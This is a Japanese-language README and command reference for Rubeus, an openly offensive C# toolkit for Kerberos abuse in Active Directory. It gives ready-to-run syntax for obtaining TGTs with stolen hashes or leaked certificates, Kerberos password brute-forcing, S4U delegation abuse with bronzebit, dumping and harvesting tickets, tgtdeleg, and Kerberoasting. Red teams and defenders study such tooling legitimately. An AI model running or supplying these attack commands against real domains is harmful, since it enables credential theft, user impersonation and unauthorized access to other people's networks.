
Kerberosとの生のやり取りおよび悪用のためのC#ツールセット: TGT/TGSリクエスト、S4U委任の悪用、Kerberoasting、AS-REP roasting、チケットの収集。
Rubeusは、生のKerberos操作と悪用のためのC#ツールセットです。これはBenjamin DelpyのKekeoプロジェクト(CC BY-NC-SA 4.0ライセンス)およびVincent LE TOUXのMakeMeEnterpriseAdminプロジェクト(GPL v3.0ライセンス)から大幅に改変されたものです。兵器化の困難な部分を解明したBenjaminとVincentに全ての功績が帰されます。彼らの先行研究がなければ、このプロジェクトは存在しませんでした。
Charlie ClarkとCeri CoburnはどちらもRubeusのコードベースに_重要な_貢献をしています。Elad Shamirはリソースベースの制約付き委任に関する重要な作業に貢献しました。彼らの作業に深く感謝します!
Rubeusはまた、Thomas Porninによる「MITライク」ライセンスでリリースされたDDerというC# ASN.1パース/エンコードライブラリを使用しています。クリーンで安定したコードを提供してくれたThomasに大いに感謝します!
PKINITコードは@SteveSyfuhsのBruceツールから大幅に改変されています。BruceはRFC4556(PKINIT)をはるかに理解しやすくしてくれました。Steveに大いに感謝します!
KerberoastingのためのKerberosRequestorSecurityToken.GetRequestメソッドは@machosecによってPowerViewに貢献され(その後Rubeusに組み込まれました)。
@harmj0yがこのコードベースの主要な作者です。
RubeusはBSD 3-Clauseライセンスの下でライセンスされています。
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
チケットの要求と更新:
ユーザーのパスワード/ハッシュに基づいて TGT を取得し、オプションでファイルに保存するか、現在のログオンセッションまたは特定の LUID に適用します:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
ユーザーのパスワード/ハッシュに基づいて TGT を取得し、/netonly プロセスを開始して、新しいプロセス/ログオンセッションにチケットを適用します:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
PCKS12 証明書を使用して TGT を取得し、/netonly プロセスを開始して、新しいプロセス/ログオンセッションにチケットを適用します:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
ユーザーのキーストア(スマートカード)から証明書の拇印またはサブジェクトを指定して TGT を取得し、/netonly プロセスを開始して、新しいプロセス/ログオンセッションにチケットを適用します:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
1 つ以上の SPN のサービスチケットを取得し、オプションでチケットを保存または適用します:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
TGT を更新し、オプションでチケットを適用、保存、または更新期限(renew-till)の上限まで自動更新します:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Kerberos ベースのパスワードブルートフォース攻撃を実行します:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
制約付き委任の悪用:
S4U 制約付き委任の悪用を実行します:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
ドメイン間で S4U 制約付き委任の悪用を実行します:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
チケット管理:
TGT を送信し、オプションで特定の LUID を対象とします(昇格している場合):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
現在のログオンセッションからチケットをパージし、オプションで特定の LUID を対象とします(昇格している場合):
Rubeus.exe purge [/luid:LOGINID]
チケット(サービスチケットまたは TGT)を解析して説明します:
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
チケットの抽出と収集:
現在のすべてのチケットをトリアージします(昇格している場合は全ユーザー分を一覧表示)。オプションで特定の LUID、ユーザー名、またはサービスを対象にできます:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
現在のすべてのチケットを詳細に一覧表示します(昇格している場合は全ユーザー分を一覧表示)。オプションで特定の LUID を対象にできます:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
現在のすべてのチケットデータをダンプします(昇格している場合は全ユーザー分をダンプ)。オプションで特定のサービス/LUID を対象にできます:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Kerberos GSS-API を悪用し、委任を偽装することで、昇格なしで現在のユーザー用の使用可能な TGT .kirbi(セッションキー付き)を取得します:
Rubeus.exe tgtdeleg [/target:SPN]
新しい TGT を /interval 秒ごと(デフォルト 60)に監視します:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
新しい TGT を /monitorinterval 秒ごと(デフォルト 60)に監視し、TGT を自動更新し、動作中のキャッシュを /displayinterval 秒ごと(デフォルト 1200)に表示します:
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
Kerberoasting を実行します:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]